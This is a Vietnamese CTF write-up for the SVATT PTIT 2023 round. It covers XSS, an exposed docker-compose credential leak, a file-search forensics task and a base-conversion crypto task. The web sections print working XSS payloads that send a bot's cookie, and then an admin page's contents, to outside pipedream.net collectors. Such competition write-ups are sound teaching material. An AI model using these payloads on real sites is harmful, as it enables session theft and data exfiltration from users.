Writeup CTF Tuyển chọn SVATT PTIT 2023
Web01
Chúng ta được cho 2 link, 1 là link challenge, 2 là link của con bot. Kinh nghiệm cho mình thấy đây là 1 bài Reflected XSS để lấy cookie
Sau khi đăng ký và đăng nhập, đây là UI của web challenge gồm 1 form để nhập note, và note được nhập sẽ hiển thị ngay bên dưới
Test thử với payload đơn giản <img src=x onerror=alert(1)
, nhận thấy trang web bị lỗi XSS.
Ý tưởng bây giờ là khai thác Reflected XSS để lấy cookie của bot. Payload để lấy cookie của bot:
1
<img src=x onerror="this.src='https://eo4kqgjvne2o998.m.pipedream.net/?'+document.cookie; this.removeAttribute('onerror');">
Giải thích payload: Javascript được thực thi sẽ gửi GET HTTP request đến URL requestbin kèm với cookie của bot
Sau khi gửi đường link cho bot, mã Javascript được thực thi, lấy được cookie của bot
Thay cookie của người dùng bằng Cookie của bot, truy cập admin panel ta sẽ lấy được flag
Web02
UI của challenge là 1 form search
Form search làm mình nghĩ ngay đến SQLi : D. Nhưng sau khi test thử với Burp Suite và sqlmap thì mình không detect được SQLi xD
dirsearch URL của challenge, tìm được 1 endpoint thú dzị là /docker-compose.yml
Truy cập 167.172.80.186:5000/docker-compose.yml
lấy được password vào mysql db : D
Chui vào db mình lấy được flag xD
Web01-again
Vẫn là cái UI của bài web01 trước
vẫn là con BOT cũ
Nhưng cái khác ở đây là không thể dùng Reflected XSS để lấy cookie của bot do có flag http-only
Ý tưởng của mình là thay vì lấy cookie của con bot để vào được admin panel, giờ mình sẽ điều khiển con bot lấy luôn flag về cho mình : D
POC để con bot truy cập admin pannel
và lấy flag cho mình
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<script>
var req = new XMLHttpRequest(); // Initializes the request object
req.onload=reqListener; // Set the listener reqListener that is triggered when the response is ready
var url="http://167.172.80.186:9999/admin.php"; // Initializes the URL of the PHP info page
req.withCredentials=true; // Send the cookie header
req.open("GET",url,false); // The request will be sent to the PHP info page of Metasploitable 2 (192.168.240.128) through the GET method synchronously
req.send(); // Send the request
function reqListener() {
var req2=new XMLHttpRequest();
const sess=this.responseText.substring(this.responseText.indexOf("ATTT"));
req2.open("GET","https://eoisvenotwsj688.m.pipedream.net/?data="+btoa(sess),false);
req2.send()
};
</script>
ok, giải thích qua 1 chút POC
đầu tiên bot sẽ truy cập vào trang admin
Sau đó nó sẽ lọc response để lấy ra flag theo format ATTT{.......}
bước cuối nó gửi flag để server của mình, mã hóa base64 để tránh việc request URL quá dài
và boom
và boom, again
For01
Ok, challenge này cho chúng ta 1 file rar, sau khi giải nén cấu trúc thư mục sẽ như thế này
Tóm gọn lại là có 100 thư mục được đánh dấu từ 0-100, trong mỗi thư mục lại có 100 thư mục được đặt tên từ 0-100. Trong mỗi thư mục con lại có 100 file .txt
0.txt
đến 100.txt
. Nhiệm vụ của chúng ta là tìm ra flag trong đống file .txt
đấy : D. Mình dùng python để tự động hóa quá trình tìm flag. Đây là source code:
1
2
3
4
5
6
7
8
9
import os
for i in range(0,101):
for j in range(0,101):
for filename in os.listdir('./{}/{}/'.format(i,j)):
f = open('./{}/{}/'.format(i,j)+filename,'r')
r = f.read()
if r != "almost" and r != "no" and r!="nah" and r!="you_got_it" and r!="try_again" and r!="Not_this_time" and r!="so_close" and r!="nope" and r!="better_luck_next_time":
print(r)
Mình sử dụng 2 vòng lặp và đọc tất cả các file .txt
trong thư mục con, kết quả tìm ra flag : D
Crypto01
Source code enc.cpp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#include <iostream>
#include <string>
using namespace std;
#define EL printf("\n")
string flag = "ATTT{fake_flag}";
void bases(string &s) {
for (int i = 0; i < s.size(); i += 4)
printf("%o %u %x %u ", (unsigned char) s[i], (unsigned char) s[i + 1], (unsigned char) s[i + 2], (unsigned char) s[i + 3]);
EL;
}
int main() {
freopen("res.txt", "w", stdout);
bases(flag);
return 0;
}
Thuật toán: Lấy 4 kí tự liền nhau, kí tự đầu tiên sẽ chuyển về dạng octal, kí tự thứ 2 là dạng decimal, kí tự thứ 3 là dạng hex và kí tự thứ 4 tiếp tục là decimal, và lặp lại như vậy đến khi hết chuỗi.
Mình hiểu thuật toán nhưng quên mất cách code c++, code python thì lú nên tức quá quay ra làm bằng tay xD. Bật 4 tab cyberchef và quẩy tầm 2,3p mình được flag ám ảnh nhất mình từng tìm được : D